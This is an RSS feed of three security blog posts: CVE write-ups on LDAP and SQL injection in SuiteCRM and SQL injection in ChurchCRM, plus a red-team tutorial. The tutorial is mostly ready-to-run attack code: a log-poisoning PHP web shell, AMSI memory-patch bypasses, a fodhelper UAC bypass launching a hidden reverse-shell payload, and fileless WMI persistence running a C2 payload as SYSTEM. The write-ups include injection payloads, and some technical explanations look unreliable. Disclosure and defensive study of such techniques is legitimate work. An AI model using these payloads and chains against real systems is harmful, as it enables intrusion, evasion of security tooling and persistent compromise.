<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Guilherme Mury on Medium]]></title>
        <description><![CDATA[Stories by Guilherme Mury on Medium]]></description>
        <link>https://medium.com/@guimury?source=rss-996bdf5d3ffa------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*tjIDjh0PHLDuiYpjLrRhRQ.jpeg</url>
            <title>Stories by Guilherme Mury on Medium</title>
            <link>https://medium.com/@guimury?source=rss-996bdf5d3ffa------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 14:00:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@guimury/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Double Kill: Authentication Bypass in SuiteCRM via LDAP and SQL Injection]]></title>
            <link>https://guimury.medium.com/double-kill-authentication-bypass-in-suitecrm-via-ldap-and-sql-injection-cb62bffa70f6?source=rss-996bdf5d3ffa------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb62bffa70f6</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[ldap-injection]]></category>
            <dc:creator><![CDATA[Guilherme Mury]]></dc:creator>
            <pubDate>Mon, 20 Apr 2026 15:42:26 GMT</pubDate>
            <atom:updated>2026-04-20T16:04:39.440Z</atom:updated>
            <content:encoded><![CDATA[<h4>How an un-sanitized input led to a complete authentication bypass in one of the world’s most popular open-source CRMs.</h4><p><strong>By Guilherme Ferreira Mury, </strong><em>Pentester &amp; Red Team Operator | Former Blue Team/SOC Lead.</em></p><h3>Introduction: The Quest for Critical Vulnerabilities</h3><p>In the dynamic and challenging field of cybersecurity, discovering a high-impact vulnerability is always a notable achievement. However, identifying two interconnected critical flaws residing at the same entry point of an enterprise-grade application is an event that transcends the ordinary. This article details the technical journey that led to the discovery of <strong>CVE-2026–33289 (LDAP Injection)</strong> and <strong>CVE-2026–33288 (SQL Injection)</strong> in SuiteCRM, demonstrating how the combination of these vulnerabilities allowed for a <strong>complete authentication bypass</strong> and <strong>privilege escalation</strong>. This research not only validates a hybrid methodology — integrating the efficiency of AI-assisted triage with the depth of aggressive manual testing — but also underscores the importance of human analysis in complex systems. The ability to identify and exploit flaws that evade automated tools is a valuable contribution to the security of the open-source ecosystem.</p><h3>1. The Target: SuiteCRM — A Giant with Achilles’ Heels</h3><p>SuiteCRM is one of the most widely adopted open-source Customer Relationship Management (CRM) platforms globally. Its popularity stems from its robustness and flexibility, being extensively used by companies of various sizes to manage sensitive corporate data. The critical nature of the information it stores makes its authentication layer a primary target for security auditors. A particularly interesting aspect of SuiteCRM in enterprise environments is its frequent integration with external directory systems, such as LDAP (Lightweight Directory Access Protocol) and Active Directory. This configuration aims to centralize access management, allowing users to authenticate using their existing network credentials. Historically, the bridge between legacy PHP applications and modern authentication protocols has been a common source of vulnerabilities. This specific intersection was the main focus of this White-Box audit, where the application’s source code was meticulously examined.</p><h3>2. Methodology: The Precision of the Hybryd Analysis in Offensive Security</h3><p>While SAST (Static Application Security Testing) and DAST (Dynamic Application Security Testing) tools are useful for identifying common patterns, they often generate excessive noise and, crucially, fail to understand the complex business logic of an application. To effectively break an enterprise authentication flow and uncover deep architectural flaws, a manual and strategic approach is indispensable. The methodology employed in this research focused on two core pillars:</p><ul><li><strong>Hybrid Code Review:</strong> This step combined the use of artificial intelligence and human keen eye to rapidly map complex authentication controllers and their respective execution paths. AI was used to accelerate the identification of areas of interest, but a deep, manual inspection of the “sink” functions — the points in the code where input data is processed and executed — was fundamental. This approach allowed human attention to be focused entirely on the most critical code segments, where logical vulnerabilities are most likely to hide.</li><li><strong>Isolated Dynamic Testing:</strong> To ensure a fully controlled testing environment and allow for deep inspection, SuiteCRM was deployed locally using Docker. Rather than dealing with black-box constraints, this white-box setup provided a pristine sandbox to monitor backend behavior in real-time. The ability to attach debuggers, trace execution flows, and observe exactly how the application interacted with the database and LDAP server during the injection attempts was crucial to understanding and exploiting the root cause of the vulnerabilities.</li></ul><h3>3. The Analysis and Discovery: The “Double Kill”</h3><p>During the source code audit, attention was directed to the user_name parameter of the login form. This parameter is central to the authentication process, as it is used to construct the query to the LDAP directory. The analysis revealed a critical flaw: user input was fed directly into the LDAP query without any form of sanitization. LDAP control characters, such as (, ), *, |, and &amp;, which have special meaning in directory queries, were not being escaped. This omission opened the door to <strong>LDAP Injection (CVE-2026–33289)</strong>.</p><h3>The Fallback Flaw: The Path to SQL Injection</h3><p>The investigation delved even deeper. It was observed that, in scenarios where the LDAP validation process returned unexpected results or failed, SuiteCRM had a fallback mechanism. This mechanism triggered a secondary query to the local MySQL database to attempt to map the user profile. The developers’ reliance on the initial LDAP validation led to a critical flaw in the fallback implementation: the SQL queries generated at this point did not use <strong>Prepared Statements</strong>. Consequently, user input, which had already been processed insecurely by the LDAP module, was then directly inserted into the SQL query. This second flaw, <strong>SQL Injection (CVE-2026–33288)</strong>, emerged from the same user_name parameter, creating a situation where two distinct vulnerabilities - <strong>CWE-90 (LDAP Injection)</strong> and <strong>CWE-89 (SQL Injection)</strong> - could be exploited from a single entry point. This is the core of the &quot;Double Kill&quot; concept: the ability to exploit multiple critical flaws through a single malicious interaction.</p><h3>4. Proof of Concept (PoC): Demonstrating Bypass and Escalation</h3><p>To validate the existence and exploitability of these vulnerabilities, Burp Suite Professional was employed to intercept and manipulate POST requests sent to the SuiteCRM server in an isolated Docker environment.</p><h3>Vector 1: Authentication Bypass via LDAP Injection (CVE-2026–33289)</h3><p>LDAP injection was performed by manipulating the user_name field with a specifically crafted payload to alter the logic of the LDAP query. The goal was to force the LDAP server to accept any password for a valid user, or even authenticate as a user without knowing their password. <strong>Intercepted Request and Payload:</strong></p><pre>POST /index.php?module=Users&amp;action=Authenticate HTTP/1.1<br>Host: target-suitecrm.local<br>X-HackerOne-Research: Kilserv<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: [length]<br>module=Users&amp;action=Authenticate&amp;user_name=admin)(|(&amp;password=anything&amp;username_password=</pre><p>By injecting )(|(&amp; into the user_name parameter, the original LDAP query was modified. The ) closed the existing user check, and (|(&amp;password=anything introduced a logical OR condition that always evaluated to true (an empty AND is TRUE). This effectively bypassed password validation, allowing the attacker to obtain an active session as the admin user without providing correct credentials. The LDAP server processed the query as valid, granting unauthorized access.</p><h3>Vector 2: Privilege Escalation via SQL Injection (CVE-2026–33288)</h3><p>To exploit the fallback mechanism and demonstrate SQL injection, the payload was altered to trigger the query to the local database. The goal was to inject an SQL statement that would add an administrator record or modify an existing one to grant elevated privileges. <strong>The Payload:</strong></p><pre>jdoe\&#39; UNION SELECT \&#39;1\&#39;, \&#39;Active\&#39;, \&#39;admin\&#39;, \&#39;87a75fe46… [hashed_password]\&#39;&#39; - -</pre><p>In this payload, jdoe\&#39; is used to close the original query string. The UNION SELECT is then used to append a fabricated data row representing an administrator user. The 87a75fe46… [hashed_password] would be a known password hash for an admin user. The - - is an SQL comment that nullifies the rest of the original query. When SuiteCRM executed this fallback query, the UNION SELECT inserted a valid row containing Administrator details. The application, lacking Prepared Statements, processed this result set, assumed the credentials matched the database state, and granted full Administrator privileges to the attacker. <strong>Impact</strong>: The combination of these two vulnerabilities allows an unauthenticated attacker to gain full access to the SuiteCRM system, including all sensitive CRM data, through an authentication bypass and subsequent privilege escalation to an administrator account.</p><h3>5. Remediation: Strengthening Defenses</h3><p>Following the discovery, the vulnerabilities were reported to the SuiteCRM vendor adhering to strict Responsible Disclosure policies. The vendor acted promptly, releasing patches in versions 7.15.1 and 8.9.3 to mitigate these flaws. To prevent similar classes of vulnerabilities, it is imperative that applications implement the principle of <strong>Defense in Depth</strong>. Remediation and prevention measures include:</p><ul><li><strong>Proper LDAP Escaping</strong>: Input sanitization is fundamental. Specific libraries and functions must be used to escape special characters before passing any user input to LDAP queries. In PHP, functions like ldap_escape (if available or securely implemented) are crucial to ensure that input is treated as data, not as part of the query logic.</li><li><strong>Consistent Use of Prepared Statements</strong>: This is the most effective defense against SQL injection. All database interactions involving user input must use Prepared Statements (or parameterized queries). This ensures that the database treats user input strictly as data, separating it from executable SQL code. Legacy code sections that do not use Prepared Statements must be identified and aggressively refactored.</li></ul><pre>// Secure SQL Remediation Example with Prepared Statements (PHP PDO)<br>$stmt = $pdo-&gt;prepare(&#39;SELECT * FROM users WHERE user_name = :username&#39;);<br>$stmt-&gt;execute([&#39;username&#39; =&gt; $sanitized_input]);</pre><h3>6. Conclusion: The Essence of Security Research</h3><p>The discovery of CVE-2026–33288 and CVE-2026–33289 in SuiteCRM serves as a powerful reminder that while automated security tools are valuable, they do not replace in-depth human analysis. Complex logical flaws, especially those arising at the intersection of legacy and modern systems, or within fallback mechanisms, are often invisible to standard scanners. The true value of a security researcher lies in the ability to deeply understand the code, the application’s business logic, and the data flow. This understanding allows for the identification of zero-day vulnerabilities that require a holistic perspective. For those venturing into Bug Bounty or Red Teaming, the lesson is clear: study the source code, build local testing environments, and perform meticulous manual testing. It is through this dedication and curiosity that the most impactful discoveries are made, contributing to a safer digital environment.</p><h3>References</h3><ul><li><strong>MITRE CVE: </strong><a href="https://www.cve.org/CVERecord?id=CVE-2026-33288">CVE-2026–33288</a></li><li><strong>MITRE CVE:</strong> <a href="https://www.cve.org/CVERecord?id=CVE-2026-33289">CVE-2026–33289</a></li><li><strong>SuiteCRM Patch Notes: </strong><a href="https://docs.suitecrm.com/admin/releases/7.15.x/#_7_15_1">SuiteCRM 7.15.x Releases</a></li><li><strong>OWASP Top 10: </strong><a href="https://owasp.org/www-project-top-ten/2021/A03_2021_Injection">A03:2021 — Injection</a></li><li><strong>PortSwigger Web Security Academy: </strong><a href="https://portswigger.net/web-security/sql-injection">SQL Injection</a></li><li><strong>PortSwigger Web Security Academy: </strong><a href="https://portswigger.net/web-security/ldap-injection">LDAP Injection</a></li><li><strong>Kilserv Research Archive:</strong> <a href="https://kilserv.vercel.app/research/breaking-suitecrm-authentication-layer-double-cve">Breaking SuiteCRM’s Authentication Layer: SQL Injection and LDAP Injection in the Directory Auth Flow</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb62bffa70f6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beyond the Toolset: Advanced Red Teaming via LotL and WMI Persistence]]></title>
            <link>https://guimury.medium.com/beyond-the-toolset-advanced-red-teaming-via-lotl-and-wmi-persistence-5bb8fd4e0ced?source=rss-996bdf5d3ffa------2</link>
            <guid isPermaLink="false">https://medium.com/p/5bb8fd4e0ced</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[living-off-the-land]]></category>
            <category><![CDATA[persistence]]></category>
            <dc:creator><![CDATA[Guilherme Mury]]></dc:creator>
            <pubDate>Mon, 05 Jan 2026 20:29:45 GMT</pubDate>
            <atom:updated>2026-01-05T20:29:45.283Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o1x5lF-9lxbIwyTYzS2LKA.png" /></figure><h4>How to chain a “simple” web vulnerability into a fully undetected, kernel-level persistent compromise without dropping a single malware binary.</h4><p><strong>By Guilherme Ferreira Mury, </strong><em>Pentester &amp; Red Team Operator | Former Blue Team/SOC Lead.</em></p><p>In the modern landscape of XDR, behavioural heuristics, and 24/7 SOC monitoring, the “Script Kiddie” approach — running <em>Metasploit</em> modules or dropping default <em>Cobalt Strike</em> beacons — is a one-way ticket to being flagged.</p><p>For a Red Teamer, the operating system is not an obstacle; it is the toolkit. This philosophy, <strong>Living off the Land (LotL)</strong>, relies on abusing legitimate system binaries (LOLBins) to execute malicious workflows.</p><p>This article dissects a complete kill chain: leveraging a <strong>Local File Inclusion (LFI)</strong> to achieve <strong>Remote Code Execution (RCE)</strong>, bypassing <strong>AMSI (Antimalware Scan Interface)</strong>, escalating privileges via <strong>UAC Bypass</strong>, and establishing “fileless” persistence using <strong>WMI Event Subscriptions</strong>.</p><blockquote><strong><em>Disclaimer:</em></strong><em> </em>The techniques discussed here are for educational and authorized testing purposes only. Unauthorized access to computer systems is illegal.</blockquote><h3>Phase 1: The Foothold — Chaining LFI to RCE via Log Poisoning</h3><p>We start with a classic vulnerability: <strong>LFI</strong>. However, we are not looking for /etc/passwd. We are looking for an execution vector.</p><p><strong>The Scenario:</strong> You identify an LFI in a legacy module of a web application running on Windows Server with Apache/PHP. Target URL: <a href="https://target.corp/index.php?lang=en.php">https://target.corp/index.php?lang=en.php</a></p><h4>The Poisoning Mechanism</h4><p>Standard web shells are detected immediately upon file creation. To remain fileless, we will poison the Apache access.log.</p><p><strong>1. Injecting the Payload:</strong> We inject a PHP snippet into the User-Agent header. We use system() because we want OS-level command execution, but we wrap it carefully to avoid breaking the log format syntax.</p><pre>GET / HTTP/1.1 Host: target.corp User-Agent: Mozilla/5.0 &lt;?php system($_GET[&#39;c&#39;]); ?&gt;</pre><p><strong>2. Execution:</strong> We use the LFI to include the log file. <a href="https://target.corp/index.php?lang=C:%5Cxampp%5Capache%5Clogs%5Caccess.log&amp;c=whoami">https://target.corp/index.php?lang=C:\xampp\apache\logs\access.log&amp;c=whoami</a></p><p><strong>Why this works:</strong> The server parses the log file as PHP because it is being “included” by the PHP engine. The log file remains a valid text file on the disk, but the execution happens in memory within the context of the httpd.exe process.</p><h3>Phase 2: Defense Evasion — Memory Patching AMSI</h3><p>We have execution, but we are running in a restricted context. To escalate, we need to load a PowerShell script (like <em>PowerUp</em> or a custom C2 stager). However, Windows Defender’s <strong>AMSI</strong> will inspect any script block sent to the PowerShell engine.</p><p>If you try to run IEX(New-Object Net.WebClient).DownloadString(...), AMSI will flag it. We need to disable AMSI in the current process memory.</p><h3>The Reflection Bypass (The “AmsiScanBuffer” Patch)</h3><p>Instead of trying to obfuscate the script, we instruct the process to “forget” how to scan. We can use C# reflection within PowerShell to modify the AmsiScanBuffer function in amsi.dll in memory, forcing it to always return S_OK (result code 1) without actually scanning anything.</p><p><strong>The One-Liner (Obfuscated for initial execution):</strong></p><pre>$a=[Ref].Assembly.GetType(&#39;System.Management.Automation.AmsiUtils&#39;);$b=$a.GetField(&#39;amsiInitFailed&#39;,&#39;NonPublic,Static&#39;);$b.SetValue($null,$true)</pre><p><em>Note: The snippet above is a simplified concept. In a hardened environment, you would use Matt Graeber’s method to patch the memory address of the AmsiScanBuffer function directly:</em></p><pre># Advanced Memory Patching Logic (Conceptual) <br>$Win32 = @&quot; <br>using System; <br>using System.Runtime.InteropServices; <br>public class Win32 { <br> [DllImport(&quot;kernel32&quot;)] <br> public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); <br> [DllImport(&quot;kernel32&quot;)] <br> public static extern IntPtr LoadLibrary(string name); <br> [DllImport(&quot;kernel32&quot;)] <br> public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); <br>} <br>&quot;@ <br>Add-Type $Win32 <br>$LoadLibrary = [Win32]::LoadLibrary(&quot;amsi.dll&quot;) <br>$Address = [Win32]::GetProcAddress($LoadLibrary, &quot;AmsiScanBuffer&quot;) <br># Overwrite the instruction pointer to return typical success code immediately <br>$p = 0; [Win32]::VirtualProtect($Address, [UInt32]5, 0x40, [Ref]$p) <br>$Patch = [Byte[]](0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) <br>[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)</pre><p>By running this via our Log Poisoning shell, we blind the EDR’s visibility into our PowerShell session.</p><h3>Phase 3: Privilege Escalation via Registry Abuse (Fodhelper)</h3><p>Assume we land as a user who is part of the “Local Administrators” group but is currently running in a medium integrity context (UAC is active). We need High Integrity.</p><p>We will abuse fodhelper.exe, a trusted Windows binary for &quot;Features on Demand&quot;. It auto-elevates without a UAC prompt if the user is an admin, and crucially, it looks at the Registry for commands to execute.</p><h4>The Attack Chain</h4><ol><li><strong>Target Key:</strong> HKCU:\Software\Classes\ms-settings\Shell\Open\command</li><li><strong>Technique:</strong> We set the DelegateExecute property (which triggers the COM object lookups) and point the default value to our payload.</li></ol><p><strong>Implementation (PowerShell):</strong></p><pre># 1. Create the registry structure <br>New-Item &quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&quot; -Force <br>New-ItemProperty -Path &quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&quot; -Name &quot;DelegateExecute&quot; -Value &quot;&quot; -Force <br> <br># 2. Set the malicious payload (Reverse Shell) <br># Note: In a real engagement, this would be a C2 Beacon loader <br>Set-ItemProperty -Path &quot;HKCU:\Software\Classes\ms-settings\Shell\Open\command&quot; -Name &quot;(default)&quot; -Value &quot;cmd /c powershell -windowstyle hidden -enc &lt;BASE64_PAYLOAD&gt;&quot; -Force <br> <br># 3. Trigger execution <br>Start-Process &quot;C:\Windows\System32\fodhelper.exe&quot; -WindowStyle Hidden <br> <br># 4. Cleanup (Crucial for OpSec) <br>Start-Sleep -s 5 <br>Remove-Item &quot;HKCU:\Software\Classes\ms-settings\&quot; -Recurse -Force</pre><p><strong>Why execute via Fodhelper?</strong> It is a Microsoft-signed binary. From the EDR’s perspective, a trusted system binary (fodhelper) spawned a child process (cmd.exe). While suspicious, it often bypasses static signatures that look for known exploit binaries.</p><h3>Phase 4: The Crown Jewel — WMI Event Subscription Persistence</h3><p>We have High Integrity. Dropping an .exe into the Startup folder is amateurish. Registry &quot;Run&quot; keys are the first thing Blue Teams check.</p><p>We will use <strong>WMI (Windows Management Instrumentation)</strong> to create a server-side, fileless persistence mechanism. This payload lives in the <strong>WMI Repository (OBJECTS.DATA)</strong>, not as a standalone file on the file system.</p><p>We need three components:</p><ol><li><strong>Event Filter:</strong> The trigger (e.g., “System Uptime &gt; 4 minutes”).</li><li><strong>Event Consumer:</strong> The action (Execute our payload).</li><li><strong>FilterToConsumerBinding:</strong> The glue that links them.</li></ol><p><strong>The Code (PowerShell)</strong></p><pre># payload: A hidden PowerShell command to reach out to C2 <br>$Payload = &quot;powershell.exe -NoP -NonI -W Hidden -Enc JABjAGwAaQBlAG4AdAAgAD0AIAB…&quot; <br> <br># 1. The Filter (Trigger) <br># logic: Wait for the system to run for 200–300 seconds (avoids boot-storm detection) <br>$FilterArgs = @{ <br> Name = &#39;WindowsHealthUpdate&#39; <br> EventNameSpace = &#39;root\CimV2&#39; <br> QueryLanguage = &#39;WQL&#39; <br> Query = &quot;SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA &#39;Win32_PerfFormattedData_PerfOS_System&#39; AND TargetInstance.SystemUpTime &gt;= 200 AND TargetInstance.SystemUpTime &lt; 320&quot; <br>} <br>$Filter = New-CimInstance -Namespace root\subscription -ClassName __EventFilter -Property $FilterArgs <br> <br># 2. The Consumer (Action) <br># We use CommandLineEventConsumer. <br># ActiveScriptEventConsumer is also an option (VBScript) but often flagged. <br>$ConsumerArgs = @{ <br> Name = &#39;WindowsHealthConsumer&#39; <br> CommandLineTemplate = $Payload <br>} <br>$Consumer = New-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs <br> <br># 3. The Binding <br>$FilterToConsumerArgs = @{ <br> Filter = [Ref] $Filter <br> Consumer = [Ref] $Consumer <br>} <br>New-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding -Property $FilterToConsumerArgs <br>Write-Host &quot;[+] WMI Persistence Established. Payload will execute shortly after boot.&quot;</pre><h4>Why WMI Persistence is “King”</h4><ul><li><strong>Stealth:</strong> It does not require a file on disk. The malicious logic is serialized in the WMI repository.</li><li><strong>System Privileges:</strong> The CommandLineEventConsumer executes as <strong>SYSTEM</strong>, regardless of who created it (provided the creator had Admin rights).</li><li><strong>Persistence:</strong> It survives reboots and user password changes.</li></ul><h3>Conclusion: The Cat and Mouse Game</h3><p>By utilizing this chain, we moved from a simple web application misconfiguration to full domain persistence without:</p><ol><li>Using exploit binaries (like PrintSpoofer.exe or Mimikatz.exe).</li><li>Triggering standard antivirus file scans (Fileless execution).</li><li>Leaving obvious forensic artifacts in the Registry Run keys.</li></ol><h3>Mitigation for Blue Teams</h3><p>To defend against these advanced TTPs (Tactics, Techniques, and Procedures), rely on <strong>Behavioral Analysis</strong> and <strong>Telemetry</strong>:</p><p><strong>1. Sysmon is Mandatory:</strong></p><ul><li><strong>Event ID 1:</strong> Monitor fodhelper.exe spawning cmd.exe or powershell.exe.</li><li><strong>Event ID 19, 20, 21:</strong> Explicitly monitor WMI Event Filter/Consumer activity. Legitimate software rarely creates new WMI consumers at runtime.</li></ul><p><strong>2. Constrained Language Mode (CLM):</strong> Enforcing CLM via AppLocker prevents the sophisticated reflection techniques used to bypass AMSI.</p><p><strong>3. Web Hygiene:</strong> Ensure web server processes (IIS/Apache) run with the lowest possible privileges (Virtual Accounts) to limit the impact of the initial LFI/RCE.</p><p><em>About the Author: I am a Pentester and Red Teamer specializing in Active Directory security and covert operations. Follow me for more deep dives into offensive security mechanics.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5bb8fd4e0ced" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Code Analysis to CVE: Uncovering SQL Injection in ChurchCRM (CVE-2025–67877)]]></title>
            <link>https://guimury.medium.com/from-code-analysis-to-cve-uncovering-sql-injection-in-churchcrm-cve-2025-67877-783c03863de9?source=rss-996bdf5d3ffa------2</link>
            <guid isPermaLink="false">https://medium.com/p/783c03863de9</guid>
            <category><![CDATA[cve]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[static-code-analysis]]></category>
            <dc:creator><![CDATA[Guilherme Mury]]></dc:creator>
            <pubDate>Sat, 20 Dec 2025 18:02:41 GMT</pubDate>
            <atom:updated>2026-01-05T21:04:03.228Z</atom:updated>
            <content:encoded><![CDATA[<h4>A deep dive into manual source code review and exploiting Blind SQL Injection.</h4><p><strong>By Guilherme Ferreira Mury, </strong><em>Pentester &amp; Red Team Operator | Former Blue Team/SOC Lead.</em></p><p>Achieving your first CVE (Common Vulnerabilities and Exposures) is a major milestone in any Offensive Security career. More than just a unique ID, it represents the validation of a methodology and a tangible contribution to the security of the open-source community.</p><p>In this article, I will detail the technical process that led me to discover <strong>CVE-2025–67877</strong>, a critical SQL Injection (SQLi) vulnerability in the ChurchCRM software. I will demonstrate how a manual <strong>Code Review</strong> approach outperformed automated scanners and allowed for the compromise of the application’s database.</p><h3>1. The Target: ChurchCRM</h3><p>ChurchCRM is an open-source church management software used by organizations worldwide to manage member data, donations, and events. Because it is open-source (available on GitHub), it serves as an excellent target for <strong>White Box</strong> security audits, where we have full access to the source code to hunt for logic flaws and implementation errors.</p><h3>2. Methodology: The “Blue Team” Mindset in Offense</h3><p>My previous experience leading Blue Team and SOC operations taught me that automated scanners (SAST/DAST) generate significant noise and often miss complex context. To find this vulnerability, I adopted a strictly manual approach:</p><ol><li><strong>Vector Mapping:</strong> Identifying files that accept direct user input (POST/GET requests).</li><li><strong>Sanitization Tracing:</strong> Understanding how the application filters this data before it talks to the Database.</li><li><strong>Bypass Analysis:</strong> Finding instances where sanitization was forgotten, inconsistent, or implemented incorrectly.</li></ol><h3>3. The Analysis (The Finding)</h3><p>During the source code audit, I focused on the CartToFamily.php file. The application uses a utility class called InputUtils to clean inputs, which often gives developers a false sense of security.</p><p>While analyzing how the PersonAddress parameter was processed, I noticed a critical inconsistency. Although there was an attempt at filtering, the code built the SQL query by directly concatenating the input string, without using <strong>Prepared Statements</strong> or strict type validation for that specific field.</p><h3>The Vulnerable Code</h3><p>Simplifying the logic I found, the problematic snippet operated similarly to this:</p><pre>// Illustrative snippet of the vulnerable logic<br>$sAddress1 = InputUtils::LegacyFilterInput($_POST[&#39;PersonAddress&#39;]);<br>// The query is built via direct string concatenation<br>$sSQL = &quot;SELECT * FROM family_fam WHERE fam_Address1 = &#39;&quot; . $sAddress1 . &quot;&#39;&quot;;</pre><p>The LegacyFilterInput function was insufficient to prevent special characters in a SQL context when inserted into specific positions of the query, allowing an attacker to break the syntax.</p><h3>4. Proof of Concept (PoC)</h3><p>To validate the flaw without violating laws or ethical guidelines, I set up a local laboratory using <strong>Docker</strong>. This allowed me to replicate the exact application environment in a controlled sandbox.</p><p><strong>Tools used:</strong></p><ul><li>Docker (Application Environment)</li><li>Burp Suite Professional (Interception and Repeater)</li><li>MySQL (Database Backend)</li></ul><h3>The Payload</h3><p>Intercepting the POST request destined for CartToFamily.php using Burp Suite, I injected a classic Error-Based SQL Injection payload, followed by a UNION SELECT payload for data exfiltration.</p><p><strong>Original Request:</strong></p><pre>POST /CartToFamily.php HTTP/1.1<br>Host: localhost:8080<br>...<br>PersonAddress=123%20Main%20St</pre><p><strong>Modified Request (Payload):</strong></p><pre>POST /CartToFamily.php HTTP/1.1<br>...<br>PersonAddress=MainSt&#39; UNION SELECT 1,database(),3,4,5 -- -</pre><h3>The Result</h3><p>The application failed to handle the injected single quote &#39;. Due to the lack of <em>Prepared Statements</em>, the database engine executed my injected command.</p><p>In response, the server returned not just the family data, but also included the <strong>current database name and MySQL version</strong> rendered directly into the HTML page, confirming <strong>CVE-2025–67877</strong>.</p><blockquote><strong><em>Impact:</em></strong><em> An unauthenticated attacker (or low-privilege user, depending on configuration) could exfiltrate the entire member database, including names, addresses, emails, and donation data, leading to a massive PII (Personally Identifiable Information) leak.</em></blockquote><h3>5. Remediation</h3><p>As security professionals, the job doesn’t end at exploitation. I reported the vulnerability following <strong>Responsible Disclosure</strong> policies.</p><p>The standard industry recommendation to prevent SQL Injection is the use of <strong>Prepared Statements</strong> (also known as Parameterized Queries). In the context of PHP/PDO, the code should be refactored to:</p><pre>// Secure Remediation<br>$stmt = $pdo-&gt;prepare(&#39;SELECT * FROM family_fam WHERE fam_Address1 = :address&#39;);<br>$stmt-&gt;execute([&#39;address&#39; =&gt; $sAddress1]);<br>$result = $stmt-&gt;fetchAll();</pre><p>This ensures that the database treats user input strictly as data, never as executable code.</p><h3>6. Conclusion</h3><p>The discovery of CVE-2025–67877 reinforces a valuable lesson: automated tools are useful, but they do not replace in-depth human analysis. Understanding the code, the business logic, and how data flows through the application (“Source to Sink”) is what differentiates a Pentester capable of finding “zero-day” flaws from a tool operator.</p><p>If you are starting in Red Teaming or Bug Bounty, my recommendation is: <strong>study code</strong>. Learn to read PHP, Python, Java, and C#. The most critical flaws are often hidden where scanners cannot interpret the context.</p><h3>References</h3><ul><li><strong>MITRE CVE:</strong> <a href="https://www.cve.org/CVERecord?id=CVE-2025-67877">CVE-2025–67877 Detail</a></li><li><strong>OWASP Top 10:</strong> <a href="https://owasp.org/Top10/A03_2021-Injection/">A03:2021 — Injection</a></li><li><strong>PortSwigger Web Security Academy:</strong> <a href="https://portswigger.net/web-security/sql-injection/cheat-sheet">SQL Injection Cheat Sheet</a></li><li><strong>ChurchCRM GitHub Repository:</strong> <a href="https://github.com/ChurchCRM/CRM">github.com/ChurchCRM/CRM</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=783c03863de9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>